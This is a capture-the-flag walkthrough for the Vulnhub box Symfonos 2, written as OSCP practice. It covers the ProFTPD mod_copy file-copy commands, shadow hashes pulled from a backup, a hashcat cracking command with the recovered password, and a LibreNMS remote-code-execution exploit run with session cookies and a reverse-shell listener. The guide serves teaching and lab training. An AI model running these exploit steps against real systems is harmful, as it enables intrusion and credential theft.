This box is part of the Symfonos series from Vulnhub and is from the list of Tj Null Oscp preparation lists. The initial vector for this box was easy. You find the file on SMB share using anonymous login. Enumerating that file (log) and utilizing the vulnerable FTP server, we can get ssh access. Then we find another webserver, and gaining reverse-shell utilizing the vulnerability of the webserver, we gain root access using MySQL and sudo privilege escalation.

Let’s start with the autorecon scan of the server. The quick Nmap scan report is below.

Nmap scan report for 10.0.2.17
Host is up, received arp-response (0.00036s latency).
Scanned at 2022-03-30 01:09:30 EDT for 23s
Not shown: 995 closed tcp ports (reset)
PORT    STATE SERVICE     REASON         VERSION
21/tcp  open  ftp         syn-ack ttl 64 ProFTPD 1.3.5
22/tcp  open  ssh         syn-ack ttl 64 OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp  open  http        syn-ack ttl 64 WebFS httpd 1.21
|_http-server-header: webfs/1.21
|_http-title: Site doesn't have a title (text/html).
| http-methods: 
|_  Supported Methods: GET HEAD
139/tcp open  netbios-ssn syn-ack ttl 64 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn syn-ack ttl 64 Samba smbd 4.5.16-Debian (workgroup: WORKGROUP)
MAC Address: 08:00:27:61:9F:61 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9

Uptime guess: 198.839 days (since Sun Sep 12 05:01:39 2021)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Host: SYMFONOS2; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.36 ms 10.0.2.17

We have 5 open ports.

  • Port 21 – FTP
  • Port 22 – SSH
  • Port 80 – HTTP
  • Port 139 – Samba
  • Port 445 – Samba

Looking closely at the FTP scan result, we can see the ProFTPD version of 1.3.5. The quick search result shows that this particular version is vulnerable to File Copy exploit.

looking at the 36742.txt, we are able to exploit this version and copy any files if we know the location. A small snippet of 36742.txt is as below.

He provides another, scarier example: (36742.txt)

------------------------------
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto <?php phpinfo(); ?>
550 cpto: Permission denied
site cpfr /proc/self/fd/3
350 File or directory exists, ready for destination name
site cpto /var/www/test.php

Looking deeper at the scan results from autorecon, I found that smb login is allowed for anonymous users.

Lets login to anonymous share and see if we can find anything important.

We see the log.txt . It turns out to be a log file and contained really important details. Important contents of log.txt are as below.

We can see that the root user saved the output of /etc/shadow to /var/backups/shadow.bak When reading further we can see that the path of the anonymous samba share.

Now, we can use the file copy vulnerability to copy that /var/backups/shadow.bak to the path of samba share /home/aeolus/share.

Let’s log back into the samba share using anonymous login. We can see the shadow file there and can download it to our device.

I found 3 hashes

root:$6$VTftENaZ$ggY84BSFETwhissv0N6mt2VaQN9k6/HzwwmTtVkDtTbCbqofFO8MVW.IcOKIzuI07m36uy9.565qelr/beHer.:18095:0:99999:7:::

aeolus:$6$dgjUjE.Y$G.dJZCM8.zKmJc9t4iiK9d723/bQ5kE1ux7ucBoAgOsTbaKmp.0iCljaobCntN3nCxsk4DLMy0qTn8ODPlmLG.:18095:0:99999:7:::

cronus:$6$wOmUfiZO$WajhRWpZyuHbjAbtPDQnR3oVQeEKtZtYYElWomv9xZLOhz7ALkHUT2Wp6cFFg1uLCq49SYel5goXroJ0SxU3D/:18095:0:99999:7:::

Now I am going to use hashcat to crack these hashes. Looking at the format it is sha512crypt which is mode 1800.

hashcat -m 1800 hashcat.txt ~/wordlists/rockyou.txt -O

And we are able to crack one of the hashes which belong to aeolus user. Password is sergioteamo.

Let’s ssh into the device and upload the linpeas script to the victim device and start the priv escalation enumeration. There were no highlights from the linpeas but we can see there are two more active ports in the victim device.

Let’s set up reverse ssh so that we can access that 8080 port. I am more interested in the 8080 port because it usually is a webserver. I am setting up reverse ssh.

ssh -L <our port>:localhost:<victim port> <username>@<ip>

It turns out to be a LibreNMS server. We can use the same aelous:sergioteamo to log in. A quick search for exploit returns few options.

Let’s try the ‘addhost’ Remote Code Execution (47044. py). This python script requires the cookie token so send the request to ZAP / BurpSuite and copy the whole cookie part. Setup the listening on port 1337.

python2.7 47044.py http://localhost:8080 "XSRF-TOKEN=eyJpdiI6ImtyVUhHQlY0SkNVRjVYQUJ6RG1Kc2c9PSIsInZhbHVlIjoiVWU2UG9lVFd5MktTeDZCSWxUQ2ErNlJ2NEM1emtXOVE3WXBSa0JkbnN0bjBHc0h2NFRlWHVhOFZcL3Ztd0g0bDlTTWt1QWN0VHlhaUJuWTFldFpETDZnPT0iLCJtYWMiOiI4ZmE4MjBlNWQzZjg1ZWY0NzQ4Zjc2MTU2MjIxN2EzNjBhNDdjMDcxMzJiMDk0ZmQxZWM2NjllNWUxMWNmNDA2In0%3D; librenms_session=eyJpdiI6IjZMZndMT3JyRkN5UlVGRDN4Z1cyMkE9PSIsInZhbHVlIjoiV0tGeGVSZ1R5NGtCbVRTS1FjUCtHOU1nUlNYMXdZcVwvajhDWXdKS0N0aTBvRmZRait5SEZjZVJOYVRHZ3pZblFoS3dZVlQ3b1A3enF4WG5mWVFRd1pRPT0iLCJtYWMiOiI2ZTVhNWVlY2Y2ZDQ2OTc3MmM4YWU4NzZjOWZhMTc5MDI4MjAzMGJjYmE5NjZiMTQ3ZWFlNzY5NjAwOTczNWFhIn0%3D; PHPSESSID=mj6l3rvl7a7iltvm1f2eebab70" 10.0.2.11 1337

Now we get a shell and we are cronus user.

I am hoping to find some new vector for privilege escalation from the linpeas script. And we find sudo command for cronus user with no password.

Checking gtfobins, we can find easy one-line code to gain a root shell.

Now we have root access.